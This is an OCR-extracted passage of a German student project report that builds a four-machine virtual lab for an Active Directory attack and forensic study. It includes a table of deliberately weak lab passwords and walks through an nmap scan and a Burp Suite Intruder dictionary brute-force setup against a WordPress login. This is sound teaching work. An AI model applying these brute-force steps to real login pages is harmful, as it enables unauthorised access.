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1 Kurzreferat

Das Thema der Projektarbeit wurde gewahlt, um sich intensiver mit der
Bedeutung eines Active Directory in Kombination mit den forensischen Aspekten
zu befassen. Fur die Erstellung der gesamten Struktur wurden vereinzelt Punkte
berticksichtigt, die aus Erfahrungen von Pentrationstests im beruflichen Umfeld,
sowie auch durch stetige Weiterbildungen in Form von abgeschlossenen
Zertifizierungen von Rainer Herold (Penetration Tester und Red Teamer bei BDO
Cyber Security GmbH) stammen. So wurde beispielsweise ein klassisches
Szenario entworfen, bei dem eine Wordpress-Instanz als Einstiegstor dient. Auf
dieser befinden sich ebenfalls Zugangsdaten, die fur den weiteren Angriff
essentiell sind. Des Weiteren werden in dem Projekt Netzwerkthemen wie
Pivoting behandelt, bei dem ein Angreifer nach dem Einstiegspunkt in das
Netzwerk gelangt um die dahinterliegenden Systeme aus einem weiteren Netz
zu erreichen. Die Bachelorarbeit von Herrn Alexander Gritzka zur Thematik
"Konzeption einer Windows-Laborumgebung zur Untersuchung
computerforensischer Artefakte“ floss ebenfalls in Uberlegungen zu dieser Arbeit
mit ein. Das Ziel der Ausarbeitung ist es darzustellen, wie trivial es sein kann,
einen Einstieg in ein Unternehmensnetzwerk zu erhalten und wie schnell ein
erfahrener Angreifer sich ausbreiten und Schaden anrichten kann. Das Projekt
beschrankt sich auf vier Systeme und beinhalten keine Hartungsvorgange oder
Anleitungen zur Behebung von Schwachstellen. Auch sind keine weiteren
Angriffspfade berlcksichtigt worden, die zu vergleichbaren Resultaten fuhren

wirden.
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The topic of the project work was chosen to delve deeper into the significance of
an Active Directory in conjunction with its forensic aspect. In creating the entire
structure, isolated points were included and taken into account from experience
gained from penetration tests in the professional environment, as well as through
continuous further training in the form of completed security cerficiations by
Rainer Herold (Penetration Tester and Red Teamer at BDO Cyber Security
GmbH). For instance, a classic scenario via a WordPress instance was designed,
which serves as an entry point. This also contains access credentials essential
for further attacks. The project also deals with topics such as pivoting, in which
an attacker uses the compromised system as a gateway after initial access in
order to reach the underlying systems from another network. The bachelor thesis
of Mr. Alexander Gritzka named ,Conception of a Windows laboratory
environment for examining computer forensic artefacts® was also incorporated
into the considerations for this work. The aim of the project is to show how trivial
it can be to gain access to a corporate network and how quickly an experienced
attacker can spread and cause damage. The project is limited to four systems
and does not include hardening procedures and instructions on how to fix
vulnerabilities. Also, no further attack paths have been considered that would lead
to the same result.
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Einleitung

3 Einleitung

Das Active Directory ist eine grundlegende Technologie in modernen IT-
Infrastrukturen. Es dient als zentrales Verzeichnis, Uber welches unterschiedliche
Ressourcen innerhalb einer Organisation, wie beispielsweise Benutzer,

Computer, Programme und Netzwerkgerate administriert werden kdénnen.

Eine strukturierte Hierarchie vereinfacht hierbei die Umsetzung komplexer
Netzwerke und ermdglicht die zentralisierte Administration von Ressourcen

innerhalb einer Domain.

Eine der Schlusselfunktionen eines Active Directories ist der Authentifizierungs-
und Autorisierungsprozess Uber Kerberos. Dieses arbeitet mit einer
symmetrischen Verschlisselung in Verbindung mit einer Ticket-Autorisierung
und wurde unter Windows 2000 eingefuhrt. Es kénnen Benutzer verifiziert und
sichergestellt werden, dass lediglich autorisierte Benutzer innerhalb einer
Domane Zugriff zu spezifischen Ressourcen haben. Grundlage hierflr bilden

Rechte, die individuelle Zugriffe regeln.

Das Active Directory funktioniert wie eine gro3e Datenbank, bei der jeder
unabhangig von seiner Berechtigungsstufe Leserechte hat. Aufgrund der vielen
Konfigurationsmdglichkeiten deckt es ein breites Einsatzspektrum ab. Allerdings
besteht bei Fehleinstellungen auch die Gefahr von Schwachstellen, die als
Einfallstore fur Angreifer dienen kénnen. Aus diesem Grund ist es notwendig,
stets Uber die neuesten Schwachstellen informiert zu sein und die bestehende

Active Directory-Umgebung bestmoglich abzusichern.

Vorkehrungen wie eine aktuelle Software, regelmafig geanderte Kennworter,
dezentrale Backups sind nur einige méglicher Schritte, die die Sicherheit gegen

maogliche Angriffe erhéhen kdnnen.

Diese Aufgabe nimmt in den seltensten Fallen, bei Firmen, eine interne
Cybersecurity Abteilung wahr. Aufgrund einer Bandbreite an Informationen, die
oftmals Handlungsbedarf erfordern, um bestehende Sicherheit zu gewéhrleisten,

ist es notwendig, in IT-Fachpersonal zu investieren.



Einleitung

In Abhéangigkeit der finanziellen und zeitlichen Ressourcen werden oftmals
externe Dienstleister in Anspruch genommen, die die interne Sicherheit bewerten
und optimieren. Die Nutzung externer Sicherheitstiberprifungen ist sinnvoller, da
die Bewertung sicherheitskritischer Bereiche durch einen objektiven Dritten viele

Vorteile mit sich bringt.

So werden gebrauchliche Dienstprozesse, die sonst unbeachtet bleiben wirden,
wie das Setzen von schwachen Kennwoértern und das Ablegen dieser im Klartext,

haufig sehr viel kritischer betrachtet und aufgezeigt.

Zu Demonstrationszwecken wurde fir das folgende Angriffsszenario ein
Unternehmen konstruiert, in der empfohlenen MalRgaben zur Gewahrleistung
eines sicheren IT-Systems, wie das Nutzen von aktueller Software und
Sensibilisierungs- und Schulungsmafinahmen flr die Mitarbeiter, nicht beachtet
werden. Anschliel3end wird ein Angriff simuliert, welcher forensisch ausgewertet

wird.
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4 Vorbetrachtungen

Das Problem, welches sich bei der Auswahl einer geeigneten Simulation eines
Unternehmensnetzes ergibt, ist der Zeitaufwand, sowie auch mdgliche

Begrenzungen in der Umsetzung.
Die folgenden Szenarien wurden mit ihren Vor- und Nachteilen verglichen:
Groldes Netz:

e 250-2000 Personen

e Mehrere Netztrennungen
e Hoher Aufwand

e 100-700 Systeme

Mittelstandisches Netz:

e 50-250 Personen

e Wenige Netztrennungen
¢ Mittelmafiger Aufwand
e 5-100 Systeme

Kleineres Netz:

e 1-50 Personen

e Ein gesamtes Netz
e Geringster Aufwand
e 4-5 Systeme

Ein weiteres Problem, welches sich ergibt, ist die Frage, ob es sinnvoll ist, die

Realisierung auf virtuelle Maschinen oder auf physischer Hardware umzusetzen.
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Die folgende Tabelle vergleicht die Aspekte beider Methoden und dient der
Auswahlentscheidung zur Umsetzung des Projektes.

Tabelle 1: Vergleich zwischen virtuellen Maschinen und phys. Hardware

Virtuelle Maschine Physische Hardware

« Kostengunstig e Teure Anschaffungskosten

e Leicht auszutauschen e Platzmangel

e Erhohte Stromkosten

e Hypervisor wird benétigt

Aufgrund der schwerwiegenderen Argumente wird der Versuch in einer virtuellen

Umgebung realisiert.

Des Weiteren werden einzelne Sicherheitsbetriebssysteme zur Festlegung eines

Betriebssystems fiir die Durchfihrung der Angriffssimulation naher betrachtet.
Kali Linux:

e Industriestandard

e Leicht modifizierbar durch ,Yggdrasil® von Rainer Herold

e Leichte Bedienbarkeit

¢ Viele Anleitungen auffindbar
Parrot OS:

e Basiert ahnlich wie Kali Linux auf Debian
e (Gangig bei HackTheBox

e Leichte Bedienbarkeit
BlackArch Linux:

e Beinhaltet eine breite Auswahl an Tools
e Arch Linux richtet sich allgemein an erfahrenere Anwender

o Hohere Fehleranfalligkeit

Die Entscheidung fiel aufgrund der Uberzeugenden Aspekte auf Kali Linux.
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Daruber hinaus erfolgt eine Evaluation zur Festlegung eines Betriebssystems fur
die forensische Analyse.

Kali Linux:

e Einige forensische Tools sind bereits vorinstalliert (z. B. Autopsy)
e Leicht modifizierbar durch ,Yggdrasil“ von Rainer Herold
e Beinhaltet auch Tools fur Penetrationstests

¢ installierte Software ist nicht immer auf dem neusten Stand (z. B. Sleuthkit)
Parrot OS:

e Eignet sich mehr fur Penetrationstests oder Capture the Flag (CTFs)

BlackArch:

e Beinhaltet eine breite Auswahl an Tools
e richtet sich allgemein an erfahrenere Anwender

e Hohere Fehleranfalligkeit
Ubuntu:

e Beinhaltet keinerlei vorinstallierte Tools fur forensische Zwecke
e Kann bei einer Kompromittierung nicht als Cyberwaffe genutzt werden, um
direkten Schaden anzurichten, wie z. B. bei Kali, Parrot oder BlackArch,

da keine Penetrationstest Tools vorhanden sind

Aufgrund der Uberwiegenden positiven Aspekte fiel auch hier die Wahl des
Betriebssystems der forensischen Arbeitsumgebung auf Kali Linux. Die
Umsetzung einer Windows-Laborumgebung fir diesen Zweck, wie in der
Bachelorthesis von Herrn Gritzka aufgezeigt, ist auch ein Losungsansatz, bat fur
den in dieser Arbeit genutzten Auswertungszweck keinen direkten Vorteil, da
keine Malware Analyse bendtigt wird.

Fur die Modifikation von Kali Linux existieren mehrere Tools wie z. B.

10
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pimpmykalil, WeaponizeKaIi.sh2 oder Yggdrasils. Die folgende Tabelle dient

1
https://github.com/Dewalt-arch/pimpmykali

2
https://github.com/snovvcrash/WeaponizeKali.sh

3
https://github.com/Jarl-Bjoern/Yqgqgdrasil

11
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als Vergleich zwischen den Tools pimpmykali und Yggdrasil.

Tabelle 2: Vergleich zwischen pimpmykali und Yggdrasil

Pimpmykali Yggdrasil

e Benutzerfreundlich und fir * Umfassende Dokumentation

Einsteiger geeignet e Konfigurationen kdnnen leicht

e Viele Nachbesserungen flr angepasst werden
Kali

e Viele modifizierbare

e Benutzerfreundlich

e Auswahlmaoglichkeiten
zwischen verschiedenen Tool-
Sets

Konfigurationen

e Beinhaltet viele spezielle
Konfigurationen (z. B.
automatisierte Updates, lokale

Hartungsmal3nahmen)

DarUber hinaus existieren zahlreiche PowerShell-Skripte, welche den Aufbau

eines Active Directories automatisieren oder auch mit Schwachstellen (z. B.

12
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BadBlood") befillen.

Auf Weiterbildungsplattformen wie z. B. HackTheBox5 oder TryHackMe6 sind
vorkonfigurierte Instanzen vorhanden. Das grof3te Problem ist hierbei, dass die
Anwender zwar Schwachstellen ausprobieren kénnen, aber die Grundlagen,
welche zur Beseitigung der Ursache notwendig sind oder das Basiswissen wie z.

B. der Aufbau eines Netzwerks, nicht vermittelt werden.

4
https://github.com/davidprowe/BadBlood

5
https://www.hackthebox.com/

6
https://tryhackme.com/

13
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5 Entwurf der gewahlten Losungsvariante

Das simulierte Unternehmen besitzt eine Grélenordnung von 10-20 Personen,
hierbei wurden auszugsweise vier Computersysteme in Form von virtuellen
Maschinen gewahlt, welches aus den obigen Vergleichen dem mittelstandischen
Netz zu zuordnen ist. Darliber hinaus wurde dieses auch gewahlt, da es einem
realistischen Szenario entspricht und den geringsten zeitlichen und finanziellen
Aufwand darstellt. Die Entscheidung fiel auf vier Systeme, da der Zeitaufwand fur

die Realisierung von 5-100 Systemen zu grof3 ist.

Zu Lehrzwecken wurde fur die Ausarbeitung, der Fokus auf einen kompletten
Selbstaufbau eines Unternehmensnetzes gesetzt, um die Mechaniken besser

verinnerlichen zu kdnnen.

Die Bachelorarbeit ,Konzeption einer Windows-Laborumgebung zur
Untersuchung computerforensischer Artefakte® von Alexander Gritzka vergleicht
zwei Hypervisoren und schliel3t mit dem Fazit, dass aufgrund der Vorteile und
dem Hinblick auf die Lizenzkosten von VMware ESXi, ist demnach VMware
Workstation Pro der geeignetere Hypervisor Vor diesem Hintergrund wurde fur

die Ausarbeitung der Desktop Hypervisor priorisiert ausgewahlt. Zudem steht

14
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. 7
er seit der Ubernahme des Unternehmens Broadcom kostenfrei flr den
Privatgebrauch zur Verfligung.

Hierzu ist ein Domanen-Controller (Active Directory) aufzubauen, welcher als
zentrale Einheit des Unternehmens gilt und fir die Verwaltung von Benutzern,
sowie auch von allen innerhalb einer Domane befindlichen Systeme zustandig
ist. Zu den Komponenten des Domé&nen-Controllers zahlen ein Domain Name
Server (DNS), Dynamic Host Configuration Protocol (DHCP) Server, sowie
die Serverrolle Active Directory Domain Services. Ein Domain Name Server
Ubertragt Computernamen in IP-Adressen und umgekehrt, wahrend ein Dynamic
Host Configuration Protocol ein Protokoll ist, welches IP-Adressen verwaltet und
an die anfragenden Hosts verteilt.

Zum Einsatz kommt das Betriebssystem Microsoft Windows Server 2019, da es
realistisch ist, dass Unternehmen aus Kostengriinden noch eine altere Version
verwenden und ein Update auf eine neuere Instanz sehr viel Aufwand bis hin zum
temporéren Stillstand eines Unternehmens bedeuten kann, sofern keine Failover

Lésungen vorhanden sind.

Als Failover wird eine Rickfallebene bezeichnet, bei der im Falle eines

Systemausfalles automatisch ein Ersatzsystem die laufenden Aufgaben

https://blogs.vmware.com/workstation/2024/05/vmware-workstation-pro-now-available-free-for-

personal-use.html
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Ubernimmit.
Fur den Backupserver wird ebenfalls Windows Server 2019 verwendet.

Des Weiteren wird ein Ubuntu Server 22.04 LTS eingesetzt, welcher als
Webserver fungiert. Auf dem Webserver ist das Content Management System
WordPress installiert, auf welchem zwei Benutzer angelegt wurden. Zu den
Benutzern gehoren ein IT-Administrator, sowie ein Mitarbeiter aus der Human

Resources (HR) Abteilung.

Fur die Angriffssimulation wird das Betriebssystem Kali Linux (Release
2024.01) verwendet, da dieses das Gelaufigste fir Penetrationstests ist und
durch Rainer Herold mittels des selbstentwickelten Tools Yggdrasil modifiziert
wurde, um weitere Tool-Sets nachzuladen, die fur verschiedene Szenarien

essentiell sind.

Zur forensischen Analyse wird ebenfalls das Betriebssystem Kali Linux in
Kombination mit dem Open Source Tool Yggdrasil verwendet, da dieses auch
Programme fur forensische Analysen beinhaltet.

Die Angriffstaktiken orientieren sich an die Techniken des MITRE ATT&CK

8
Frameworks , welches oft im Zusammenhang mit Red Team Engagements,
sowie Penetrationstests verwendet wird. Das MITRE ATT&CK Framework zahlt

zu dem Industriestandard, da in der entwickelten Matrix, Taktiken und

8
https://attack.mitre.org/

16


https://attack.mitre.org/

Entwurf der gewahlten Lésungsvariante

Angriffsszenarios aufgelistet sind, welche von Cybersecurity-Analysten, Threat-
Huntern, IT-Forensikern, sowie auch Penetrationstestern verwendet werden, um

die Resillienz von Unternehmen zu starken und zugleich Leitfaden zu erstellen,

sowie auch anzuwenden.

. .9 .
Mittels der Open Source Software draw.io wurde ein Netzplan erstellt.

9
https://www.drawio.com/

17
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Angreifer

Ubuntu Server
mit zZwei
Netzwerkadaptern

Internes
Netz

i

. Active
Client - Backupserver
~ Directo E : E

Hypervisor

Abbildung 1: Netzplan des Unternehmens

Wie aus Abbildung 1 entnommen werden kann, wurden zwei Netze verwendet,
da der Angreifer zuerst den Webserver kompromittieren muss, um die dahinter
liegenden Systeme erreichen zu kénnen. Dies ist zu vergleichen mit einer

leichten Demilitarisierten Zone (DM2Z).

18
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6 Realisierung der Simulationsumgebung

Zur Umsetzung der Simulation wird ein kleines Unternehmen von einer
ungefahren Grolle von 10-20 Mitarbeitern gewahlt. Fir die Implementierung
wurden jeweils drei Windows- und ein Linux System ausgewahlt. Um es hierbei
realistisch zu halten, wurde bewusst, nicht die neuste Software oder ein aktuelles
Betriebssystem verwendet.

6.1 Fiktive Mitarbeiter

Fur das Unternehmen wurden in der folgenden Tabelle Personen mit ihren
dahinter liegenden Positionen innerhalb des Unternehmens definiert. Die in der

Tabelle 1 aufgeflihrten Namen sind frei erfunden.

19
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Tabelle 1: Mitarbeiteriibersicht

Name

Position

Anna Schmidt

Human Resources

Peter Muller

Sales & Vertrieb

Lisa Becker

Assistenz der Geschaftsfihrung

Hans Schmidt

Geschéaftsfiuhrer

Max Mustermann

IT-Administrator

Maria Meyer

Lohnbuchhaltung

Thomas Schneider

Auszubildende/r

Katharina Wagner

Auszubildende/r

Michael Fischer

Lohnbuchhaltung

Julia Weber

Human Resources

Christian Meier

IT-Administrator

Sarah Konig Projektleiterin
Robert Klein Praktikant
6.2 Ubersicht der Zugangsdaten

Fur die einzelnen Dienste und Benutzer, wurden spezielle Passworter festgelegt,
welche teilweise auch in bekannten Wérterbiichern vorhanden sind. Die Benutzer
fur die Kali Linux Maschinen sind personalisiert und demnach nicht in der

folgenden Tabelle aufgeflhrt.

20
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Tabelle 2: Ubersicht der Zugangsdaten

Benutzer Passwort
anna.schmidt (WordPress) password123
max.mustermann (WordPress) Zufalliges Passwort, wird bei der

Installation von WordPress generiert

superadmin password123
christian.meier I1CombatMedic223!
robert.klein *7Vamos!
Lokale Administratoren *8Vamos!
Domé&nenadministrator *9Vamos!
Alle weiteren Benutzer Iqw090688

6.3 Installation der Serverkomponenten

6.3.1 Windows Server - Active Directory

Das Active Directory ist die Kernkomponente des Unternehmens, in welchem die
Benutzerverwaltung und Gruppenberechtigungen umgesetzt werden. Ein
Benutzer hat die Kerberos Pre-Authentifizierung deaktiviert, wodurch das Risiko
bestent, dass ein Angreifer den Hash (verschlisselte Form des
Benutzerpasswortes) abzufangen und diesen lokal zu brechen, sofern das
Passwort in einer bekannten Worterbuchliste vorhanden ist. Verwendet wird
hierbei ein Windows Server 2019 Betriebssystem. Das Active Directory befindet
sich in dem Netz VMnet2 und besitzt nur einen Netzwerkadapter.

Die folgende Tabelle dient als Ubersicht fir die Vergabe der benétigten

Ressourcen.

21
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Tabelle 3: Ressourcenaufteilung - Domain-Controller

Ressource Grole
Arbeitsspeicher (RAM) 4 GB
Festplattenspeicher 100 GB
Prozessoren (CPU) 2

Die Installation und Konfiguration des Domanencontrollers ist in Kapitel 14.1.1

beschrieben.

6.3.2 Ubuntu Server

Der Ubuntu Server besitzt einen Webserver, der einem Angreifer als ersten
Zugriff (Initial Access) in das Netz dient. Die dahinterliegende Technologie ist
ein Apache Webserver, welcher das Content Management System WordPress
installiert hat. Der dahinterliegende Quellcode wurde in der Programmiersprache
PHP umgesetzt und verwendet Teile von HTML, CSS und JavaScript. Dem
Webserver wurden zwei administrative Benutzer zugewiesen, um die Verwaltung
von WordPress durchzufihren. Verwendet wird hierbei ein Ubuntu Server LTS
(Long-term Support) 22.04. Der Webserver besitzt zwei Netzwerkadapter, der
einerseits sicherstellt, dass das Netz via Network Address Translation (NAT),
von aul3en erreichbar ist und andererseits nur mit den Systemen aus dem

internen Netz (VMnet2) kommunizieren kann.

Die folgende Tabelle dient als Ubersicht fir die Vergabe der benétigten

Ressourcen.

22
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Tabelle 4: Ressourcenaufteilung - Webserver

Ressource GroRRe
Arbeitsspeicher (RAM) 4 GB
Festplattenspeicher 50 GB
Prozessoren (CPU) 2
Netzwerkadapter 2X

Die Installation und Konfiguration des Webservers ist in Kapitel 14.1.2

beschrieben.

6.3.3 Windows Client

Der Windows Client wurde ursprunglich aufgesetzt, um einen Benutzer zu
simulieren auf dem eine Ransomware installiert und ausgefiihrt wird. Das
dahinterliegende Betriebssystem ist Microsoft Windows 10. Der Windows Client

befindet sich in dem Netz VMnet2 und besitzt nur einen Netzwerkadapter.

Die folgende Tabelle dient als Ubersicht fiir die Vergabe der bendétigten

Ressourcen.

Tabelle 5: Ressourcenaufteilung - Windows Client

Ressource GroRRe
Arbeitsspeicher (RAM) 4 GB
Festplattenspeicher 100 GB
Prozessoren (CPU) 2

Die Installation und Konfiguration des Windows Clients ist in Kapitel 14.1.3

beschrieben.

23
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6.3.4 Windows Server - Backupserver

Der Windows Server ist als Backupserver festgelegt worden, um die wichtigsten

Daten des Unternehmens zu sichern. Das System befindet sich in dem Netz

VMnet2 und besitzt nur einen Netzwerkadapter.

Die folgende Tabelle dient als Ubersicht fur die Vergabe der benétigten

Ressourcen.

Tabelle 6: Ressourcenaufteilung - Backup01

Ressource Grolke
Arbeitsspeicher (RAM) 4 GB
Festplattenspeicher 100 GB
Prozessoren (CPU) 2

Die Installation des Backupservers ist in dem Kapitel 14.1.4 beschrieben.

6.4 Installation der Angriffsumgebung

Das Betriebssystem Kali Linux (Release 2024.1) von Offensive Security wurde

gewahlt, da es das bekannteste Linux System ist, welches sich fur professionelle

Penetrationstests eignet. Das Betriebssystem wird durch den Einsatz des Open

Source Tools Yggdrasil, welches von Rainer Herold entwickelt wurde, um

Toolkits erweitert, sowie auch modifiziert.

Die folgende Tabelle dient als Ubersicht fiir die Vergabe der bendétigten

Ressourcen.
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Realisierung der Simulationsumgebung

Tabelle 7: Ressourcenaufteilung - Angriffsumgebung

Ressource GroRRe
Arbeitsspeicher (RAM) 4 GB
Festplattenspeicher 100 GB
Prozessoren (CPU) 2

Die Installation und Konfiguration der Angriffsumgebung ist in Kapitel 14.2

beschrieben.

6.5 Installation der Forensischen Arbeitsstation

Das Betriebssystem Kali Linux (Release 2024.1) von Offensive Security wurde
gewahlt, da es das bekannteste Linux System ist, welches sich fir professionelle
Penetrationstests eignet. Das Betriebssystem wird durch den Einsatz des Open
Source Tools Yggdrasil, welches von Rainer Herold entwickelt wurde, um

Toolkits erweitert, sowie auch modifiziert.

Die folgende Tabelle dient als Ubersicht fiir die Vergabe der bendétigten

Ressourcen.

Tabelle 8: Ressourcenaufteilung - Forensische Arbeitsstation

Ressource GroRRe
Arbeitsspeicher (RAM) 8 GB
Festplattenspeicher 200 GB
Prozessoren (CPU) 4

Die Installation und Konfiguration sind in dem Kapitel 14.3 einzusehen.
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7 Nachweis der Funktionsfahigkeit

7.1 Angriffssimulation

Nachdem die Systeme aufgesetzt und konfiguriert wurden, wird mittels des

10
Netzwerkscanners nmap ein Service Scan auf den von aul3en erreichbaren
Webserver durchgefihrt, um die dahinterliegende Technologie zu identifizieren.

Wie aus der Abbildung 2 enthommen werden kann, wurden zwei offene Ports

10
https://nmap.org/
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22/TCP — Secure Shell (SSH) und 80/TCP Apache HTTPD gefunden.

Starting ( /fmmap.org ) at 2024-86-04 21:35
Nmap scan r [ ] . .129
Host is up
Not shown:
T STATE
p open ssh SH 8.9p] Jubuntu®.6 (Ubuntu Linux; protocol 2.@)
tcp open http L ((Ubuntu))
MAC Address: 0@
Service Info: linux:linux_kernel

Service detection performed. Please report any in ct results at https://nmap.org/submit/ .
Mmap done: 1 IP address (1 host up) scanned in 6. conds

Abbildung 2: Durchfiihrung der Angriffssimulation 1/42

. 11
Bevor die Uberprifung erfolgen kann, muss der Webbrowser, Firefox von

Mozilla, umkonfiguriert werden, damit dieser mit dem HTTP-Proxy, Burpsuite12
kommunizieren kann. Hierzu missen ein HTTP- und HTTPS-Proxy auf die lokale
IP-Adresse 127.0.0.1 mit dem Port 8080 eingetragen werden (siehe Abbildung 3
- Abbildung 5) und anschlieRend Burpsuite gestartet werden (siehe Abbildung 6
- Abbildung 8). Der Port wird standardmalfig fur Burpsuite verwendet.

11
https://www.mozilla.org/de/firefox/new/

12
https://portswigger.net/burp
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Sync and save data

Mew tab Ctrl+T
New window Ctri+N

MNew private window Ctrl+5hift+P

Bookmarks

History

Downloads Ctri+Shift+Y
Passwords

Add-ons and themes Ctri+Shift+A

Ctrl+P

Ctri+S

Find in page... Ctrl+F

Zoom - 100% + .

Settings
More tools

Help

Gluit

Abbildung 3: Durchfiihrung der Angriffssimulation 2/42
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# (@ Problem loadingpage % £ Settings

C @ *) Firefox about:preferences

KaliLinux # Kali Tools = KaliDocs % Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

@ . O Find in Settings

Felulind
Use recommended performance settings Learn more
Home
@ Th
Q Search

& Privacy & Security na

Q Sync Use autoscrolling

) Use smooth scrolling
E More from M
Always show scrollbars
Always use the cursor keys to navigate within page
Search for text when you start typing
Enable picture-in-picture video controls
Control media via keyboard, headset, or virtual interface L
Recommend extensions as you browse

Recommend features as you browse Le

81 Ext & Themes Configure how Firefox connects to the internet. Le e Settings...

@ Firefox Support

Abbildung 4: Durchfiihrung der Angriffssimulation 3/42
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#®  © Problem gpage X Settings

@ % Firefox about:preferences

Kali Linux # KaliTools = KaliDocs % KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Connection Settings

Configure Proxy Access to the Internet
No proxy
Auto-detect proxy settings for this network
Use system proxy settings
@Manual proxy configuration
HTTP Proxy | 127.0.0.1

Also use this proxy for HTTPS

SOCKS Host
SOCKSv4 ) SOCKS V5

Automatic proxy configuration URL

No proxy for

Example: .mozilla.org, .net.nz, 192.168.1.0/24

Connections to localhost, 127.0.0.1/8, and ::1 are never proxied.

Do not prompt for authentication if password is saved

Proxy DNS when using SOCKS v5

Abbildung 5: Durchfiihrung der Angriffssimulation 4/42
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S o E P O]

Q, burp

):;| burpsuite

78 Jarl-Bjoern

Abbildung 6: Durchfiihrung der Angriffssimulation 5/42
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Burp Suite Community Edition v2024.3.1.4

@ Welcome to Burp Suite Community Edition. Use the options below to create eropena project. Burp SUite

Community Ed

(& Temporary project in memory

Mew project on disk

Open existing project MName File

Abbildung 7: Durchfiihrung der Angriffssimulation 6/42

Burp Suite Community Edition v2024.3.1.4

@ Select the configuration that you would like to load for this project. Burp SUite
tion

Community Ed
(@) Use Burpdefaults

Use settings saved with project

Load frem cenfiguration file File

File: Choose file...

Default to the above in future

Disable extensions

Cancel Back Start Burp

Abbildung 8: Durchfiihrung der Angriffssimulation 7/42
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Nun folgt die Aufklarung der WordPress Instanz und es wird geprift, ob die
administrative Weboberflache erreichbar ist. Dazu wird wie in Abbildung 9
entnommen, die IP-Adresse aufgerufen und nach dem Endpunkt /wp-login.php

innerhalb der Uniform Resource Locator (URL) geprift.

o

# @ Anmelden < Forensik Pro. X 3 Settings

O A 192.168.237.1

KaliLinux #& KaliTools « KaliDocs M KaliForums eX Kali NetHunter Exploit-DB Google Hacking DB OffSec

Benutzername oder E-Mail-Adresse

| l

Passwort

3

") Angemeldet bleiben

Passwort ve rgesse n?

« Zuriick zu Forensik Projekt |

B& | Deutsch v || Wechseln |

Abbildung 9: Durchfiihrung der Angriffssimulation 8/42

Um nun mit Burpsuite die Website zu testen, wird zunachst der Button Intercept
is off angeklickt, um jegliche Folge-Requests abzufangen und manipulieren zu

konnen (siehe Abbildung 10 - Abbildung 12).
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Burp Suite Community Edition v2024.3.1.4 - Temporary Project

Burp  Project  Intruder Repeater  View Help

Dashboard Target Prosy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer {6} Settings
Extensions Leamn
Intercept HTTP history WebSockets history {©} Proxy settings

Open browser

Intercept is off

‘Whenenabled, requests sent by Burp's browser are held here
so that you cananalyze and medify them before forwarding
them tothe target server.

Event log Allissues @ Memory: 110.0MB

Abbildung 10: Durchfuhrung der Angriffssimulation 9/42
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Kali Linux

t» * Anmelden < Forensik Pri

O

\/

a 19

@

B KaliTo = KaliDocs & Kali Forums ex Kali NetHunter loit-DB

Fehler: Der Benutzername test1234 ist auf dieser
Website nicht registriert. Falls du dir Giber deinen
Benutzernamen unsicher bist, versuche es
stattdessen mit deiner E-Mail-Adresse.

Benutzername oder E-Mail-Adresse

‘:anna.schmidt ‘

Passwort
‘..... ® ‘
0 Angemeldet bleiben eI ‘

Passwort vergessen?

& Zuriick zu Forensik Projekt |

B | Deutsch v || Wechseln |

Google Hacking DB
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Burp Suite Community Edition v2024.3.1.4 - Temporary Project

Burp  Project Intruder Repeater  View  Help

Dashboard Target F Intruder Repeater Collaberator Sequencer Decoder Comparer Logger Organizer {0} Settings
Extensions Learn
HTTP histery WebSockets history {6} Proxy settings

ﬁ Request to http://192.168.237.129:80

Forward Drop Intercept is on Action Open browser 1dd note &G | HTTPN @
aw 2 B n = - .
Pretty Raw Hex ® Inspector @ = - & X 2

POST fwp-login.php HTTP/1.1

Host: 192.168,237.129

User-Agent: Mozillas5.0 (¥11: Linux xB6 &4; rv:109.0] Gecko/20100101 Firefox/115.0
Accept:

text/html, application/xhtml+xml, application/xml;g=0.9,image/avif, image /webp, ¥/*;0=0.8 Request query parameters 0 w
5 Accept-Language: en-US,en;g=0.5

5 Accept-Encoding: gzip, deflate, br

7 Referer: http://192.168.237.129/wp-login.php Request body parameters
= Content-Type: application/x-www-form-urlencoded

o Content-Length: 113 .

10 Origin: http://192.168,237.129 Request cookes L e
11 Connection: close

12 Cookie: wordpress_test_cookie=WP%20Cookie%20check Request headers 12 ~
13 Upgrade-Insecure-Requests: 1

14

15  log=anna,schmidt&pwd=123458wp - submit=Anmelden&redirect_to=

http%3A%2F%2F192, 168, 237, 1285 2Pwp -admin% 2F&test cookie=1

Request attributes 2 ~

Bwn
Joyradsu)

S310N @

@@ &[> earch D 0 highlights

Event log Allissues () Memory: 99.0MB

Abbildung 12: Durchfihrung der Angriffssimulation 11/42

Der abgefangene Request aus Abbildung 12 wird nun in Intruder kopiert,
welches haufig fur Brute Force Angriffe verwendet wird. Nach Abschluss des
Kopiervorganges, wird der Request Uber den Button Add 8§ manipuliert, damit
aus dem getesteten Passwort eine Variable gesetzt wird (siehe Abbildung 13).

In dem Reiter Payloads wird nun das Wodrterbuch geladen, welches fir den

Angriff bendtigt wird (siehe Abbildung 14). Verwendet wurde das Worterbuch
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13
2020-200_most_used_passwords.txt von SecLists .

13
https://github.com/danielmiessler/SecLists
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Burp Suite Community Edition v Project

Burp Project Intruder Repeater View  Help

Dashboard Target Prox Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Crganizer {3 Settings
Extensions Learn
1 2%+ P

(3) choose an attack type m

Attacktype: Sniper v

(3) Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request

Target: | http://192.168.237.129 Update Host header to match target

Clear§

POST /wp-login.php HTTP/1.1

Host: 192,166,237 129

User-Agent: Mozillas5.0 (X11: Linux x86 64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtnl+xml,application/xml;g=0.9,inage/avif,inage webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Referer: http://192.168.237.129/wp-login. php

g Content-Type: application/x-www-form-urlencoded

o Content-Length: 113

10 Origin: http://192.168,237.128

11 Connection: close

12 Cookie: wordpress_test_cookie=wP%20Cookie%20check

13 Upgrade-Insecure-Requests: 1

Auto §

Refrash

GO W e

15 log=anna. s:hmlt\t&pwd@p-submltza‘\nmel den&redirect_to=http%3A%2F%2F192, 168,237,129 2Fwp - adnin% 2F&
testcookie=1

@ &€ | > | seart el 7 highlight Clear

1 payload position Length: 664

Eventlog Allissues (2) Memery: 99.0MB

Abbildung 13: Durchfihrung der Angriffssimulation 12/42
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Burp Suite Community Edition v2024.3.1.4 - Temporary Project

Burp  Project Intruder Repeater View  Help

